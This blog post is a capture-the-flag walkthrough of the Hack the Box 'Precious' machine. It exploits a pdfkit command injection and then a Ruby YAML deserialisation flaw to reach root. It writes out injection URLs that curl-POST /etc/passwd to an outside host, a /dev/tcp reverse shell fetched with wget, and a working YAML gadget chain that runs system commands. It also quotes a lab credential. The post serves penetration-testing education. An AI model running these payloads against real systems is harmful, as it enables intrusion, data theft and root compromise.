Pākiki Blog

The latest insights, vulnerabilities, research, and release information from the Pākiki team.

Follow us on social media:

Hack the Box Precious Walkthrough

Published on by Jess
Categories: Walkthroughs
Tags: HTB

Recon

As always, I started with recon against the target. I initially started a portscan with nmap -A -p 0- -sS precious.ctb (which will scan all ports with a syn scan). Port 80 (HTTP) came back quickly, and so I started to look at that while the rest of the scan was underway. Nothing else came back from the port scan other than port 22 (SSH) which is standard for CTF challenges.

The web application hosted on port 80 appeared to be a webpage to PDF converter:

Initial webpage

I looked at the HTTP response headers to get a sense of the platform the application is built on:

HTTP Response Headers

The X-Runtime header says that it’s Ruby, and this is further confirmed by the use of Phusion Passenger (a common application server for Ruby).

The version of nginx is older, but the security fixes are likely backported. Even if they aren’t, a quick triage of the known vulnerabilities associated with it show that it’s unlikely to be vulnerable in this instance.

I also started a directory brute force attack, with nothing interesting returned.

Application Exploitation - SSRF/LFI (Unhappy path)

The application’s functionality appears to be designed to take a URL and generate a PDF of the webpage. So my mind jumped to Server Side Request Forgery (SSRF) and Local File Include (LFI) vulnerabilities.

I wondered if there were services running on localhost on other ports, so I tried URLs in the text field, such as http://localhost:8080. I used the Fuzzer functionality built into Pākiki Proxy to attempt to iterate all ports to effectively port scan the host from the application, with no luck.

While that was running, I stood up a web server on my machine, to see if I could serve up pages locally. I used netcat to listen, with nc -l 8080 and just responded with HTTP responses directly on the command line. I tried different things to see if I could include files from the file system, including rendering files within iFrames.

I was getting responses along the lines of the following:

LFI Attempts

The most common technique for rendering PDFs from web pages is a tool called wkhtmltopdf, and often it’s invoked via the command line. So I jumped back briefly, and again used Pākiki’s Fuzzer to see if I could find command injection attacks, but with no luck.

I then noticed that the PDFs were being generated with pdfkit:

pdfkit

I Googled that and found a known command injection vulnerability, along with a proof of concept.

User Shell

I found I was able to execute commands using URLs input into the input field such as:

http://127.0.0.1:8080/q=#{'%20`curl -X POST http://10.10.14.47:4567/shell --data-binary "\`cat /etc/passwd\`" `'}

I created a small web server on my machine using Sinatra which simply output anything which was posted to /shell:

#!/usr/bin/env ruby
require 'sinatra'

set :bind, '0.0.0.0'

# reads the x parameter, and simply returns the results as plain text
post '/shell' do
    request.body.rewind
    body = request.body.read
    puts body
    return body
end

The URL above will exploit the vulnerability within pdfkit, and executes cURL (which requests a web page on the command line). cURL POSTS the given data to my web server (which outputs it), and the given data is the output of a secondary command on the command line. In the case above, I’m just outputting /etc/passwd to get a list of users on the system. That gives me a way to reliably execute commands and view their output, even if it’s a bit tedious.

Next up I created a small reverse shell (called shell.sh), which would connect back to a netcat listener on my machine:

#!/bin/sh
sh -i >& /dev/tcp/10.10.14.46/8000 0>&1

I started the listener on my own machine: nc -lvn 8000. I served that up the reverse shell using python3 -m http.server

I then put it into the ruby user’s home directory:

http://127.0.0.1:8080/q=#{'%20`curl -X POST http://10.10.14.46:4567/shell --data-binary "\`wget -P /home/ruby/ http://10.10.14.46:8000/shell.sh\`" `'}

Validated it was in there:

http://127.0.0.1:8080/q=#{'%20`curl -X POST http://10.10.14.46:4567/shell --data-binary "\`ls -lah ~/\`" `'}

Then made it executable:

http://127.0.0.1:8080/q=#{'%20`curl -X POST http://10.10.14.46:4567/shell --data-binary "\`chmod +x ~/*.sh\`" `'}

And ran it:

http://127.0.0.1:8080/q=#{'%20`curl -X POST http://10.10.14.46:4567/shell --data-binary "\`~/shell.sh\`" `'}

Woo, I had an interactive reverse shell!

I could see that the user flag wasn’t in this directory, and I could see it in henry’s home directory at /home/henry/user.txt, however it was read-only to him.

After way more looking around the filesystem than I’d like to admit I found the file at /home/ruby/.bundle/config:

BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

From there I was able to SSH into his account using that password, and get the user flag.

Root Shell

From my earlier explorations, I saw a file called dependencies.yml in henry’s home directory (I don’t know if that had been left there by other people who had exploited the box), and had found a script in /opt/update_dependencies.rb.

By running sudo -l I could see that the user henry could execute that command as root:

Matching Defaults entries for henry on precious:
	env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
	(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

/opt/update_dependencies.rb contained:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
	YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
	Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Yaml is a format used to store objects, and it can be vulnerable to deserialisation vulnerabilities. A quick Google found this: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565?ref=blog.stratumsecurity.com#file-ruby_yaml_load_sploit2-yaml

I substituted the id command with cat /root/root.txt:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: cat /root/root.txt
         method_id: :resolve

And it printed the flag - yay!:

henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
42cb735f051dbe1a3d765405c5e1c865
Traceback (most recent call last):
    33: from /opt/update_dependencies.rb:17:in '<main>'
    32: from /opt/update_dependencies.rb:10:in 'list_from_file'
    31: from /usr/lib/ruby/2.7.0/psych.rb:279:in 'load'

Lastly I cleaned up after myself and deleted the shell and dependencies.yml file.